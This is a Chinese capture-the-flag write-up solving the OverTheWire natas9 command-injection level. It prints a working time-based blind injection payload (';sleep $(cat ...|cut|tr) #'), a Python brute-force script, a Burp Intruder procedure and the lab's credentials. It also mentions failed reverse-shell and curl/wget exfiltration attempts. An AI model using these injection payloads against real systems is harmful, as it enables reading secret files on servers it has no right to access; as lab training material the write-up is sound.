从一道题目开始
给一个题目,http://natas9.natas.labs.overthewire.org/ ,账号natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl。题目要求是读取/etc/natas_webpass/natas10
的内容。题目页面:可以看源码这里存在一个命令注入点,我们可以用|,%0a,;
和#号配合使用,造成命令注入:在url处直接用#是无效的,必须用%23,还要注意在使用注释符#之前要先加一个空格。
题目当然是很简单的,我们可以自己加点难度,比如说,页面没有回显,怎么办?
0x00 写shell
写shell当然是先要有写权限,先尝试创建一个文件。发现是不行的,没有写权限,那么,另辟蹊径吧。
0x01 反弹shell
首先看看目标服务器有没有nc,用which nc
命令,which命令可以查看某个系统命令是否存在,以及执行的到底是哪一个位置的命令。发现nc是有的,尝试一波反弹shell失败了,猜测题目禁止了出口流量,这里用到了一个方法来检测是不是真的禁止了出口流量:首先在自己的VPS上tcpdump,监听整个网卡的ICMP流量(ping使用的是ICMP协议)本地测试是能监听到的但是目标服务器测试失败了,说明目标服务器确实禁止了出口流量。
0x02 用curl,wget带上数据访问自己的VPS
禁止了出口流量,这个方法肯定是不行的了。我还是做了一个本地测试
都不行?
这时候我们发现,上述三个比较常见的方法都是不行的,我们需要另辟蹊径,这里用到了时间盲注~
时间盲注的本地测试
首先我们来看一下tr命令,它可以用来将一个字符替换为另一个字符,类似于单表替换加密我们又知道,sleep命令可以让当前动作sleep一段时间,那么,我们可以通过对flag字段逐个字去试,比如flag的第一个字母是f,我们可以这样去把它试出来:与SQL注入的时间盲注原理是一样的,遍历tr的第一个参数以及cut -c
的数值即可
回到题目
现在,在我们知道flag的第一个字母是n的情况下,直接测试一下可以看到,返回时间相差4s左右,可以判断这个payload是生效的。
python解题
脚本这东西,当然要多写写啦~1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25#encoding:utf-8
import requests,time
url='http://natas9.natas.labs.overthewire.org/'
proxies={'http':'http://127.0.0.1:8080'}
headers={'Authorization': 'Basic bmF0YXM5OlcwbU1oVWNSUm5HOGRjZ2hFNHF2azNKQTlsR3Q4bkRs'}
if __name__ == '__main__':
pos=1
flag=''
ses=requests.session()
while True:
for i in xrange(32,127):
t1=time.time()
try:
r=ses.get(url=url,params={'needle':';sleep $(cat /etc/natas_webpass/natas10|cut -c%s|tr %s 4) #'%(str(pos),chr(i))},
timeout=7,proxies=proxies,headers=headers)
except Exception as e:
print e
t2=time.time()
if t2-t1>=3.5:
pos+=1
flag+=chr(i)
print flag
不过这网站有点卡,脚本不稳定,我抓了脚本的包手动测了下,是没错的。
burp解题
既然网站卡,盲注不稳定,那就可以用burp尝试一波。首先用;sleep $(cat /etc/natas_webpass/natas10|wc -c) #
来判断flag的长度可以看到,长度应该是33,我们知道真实的flag长度是32,相差一个,还可以接受?然后,我们对flag中的每个字符都sleep一下,如果不是数字,不会有时延,如果有时延,说明是数字,而且延迟了几秒就是数字几。抓个包,放到intruder爆破选定Intruder attack
的Columns
中的Response completed
可以查看返回时长选定几个时长最长的,再重复发送几次稳定下来基本是这样的所以可以推断,flag的第5,15,22位的数字是1,第27位数字是7,这跟flag是符合的。接下来我们就可以正式逐个爆破,这时候字典里就不需要数字了。参数1的字典不需要5,15,22,27四个数字,seq 1 32 > 1.lst
后,手动剔除。参数1:参数2:直接用burp内置字典ADD a-z,A-Z,再手动加上一些符号和0。线程数设成20,然后,开始愉快地爆破。结果出现了很明显的分层,为了防止意外,把2s以上的再重发几遍,最后稳定下来是这样的一个个拼起来,加上之前的数字,得到的结果是nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
与我们之前读到的flag是完全一样的~
something else
有时候读的文件可能会有一些不可见字符,可以先把它base64一下,base64 命令输出默认按每行 76 个字符进行折行,用参数 -w0 取消这个行为
let’s go, fuck everything~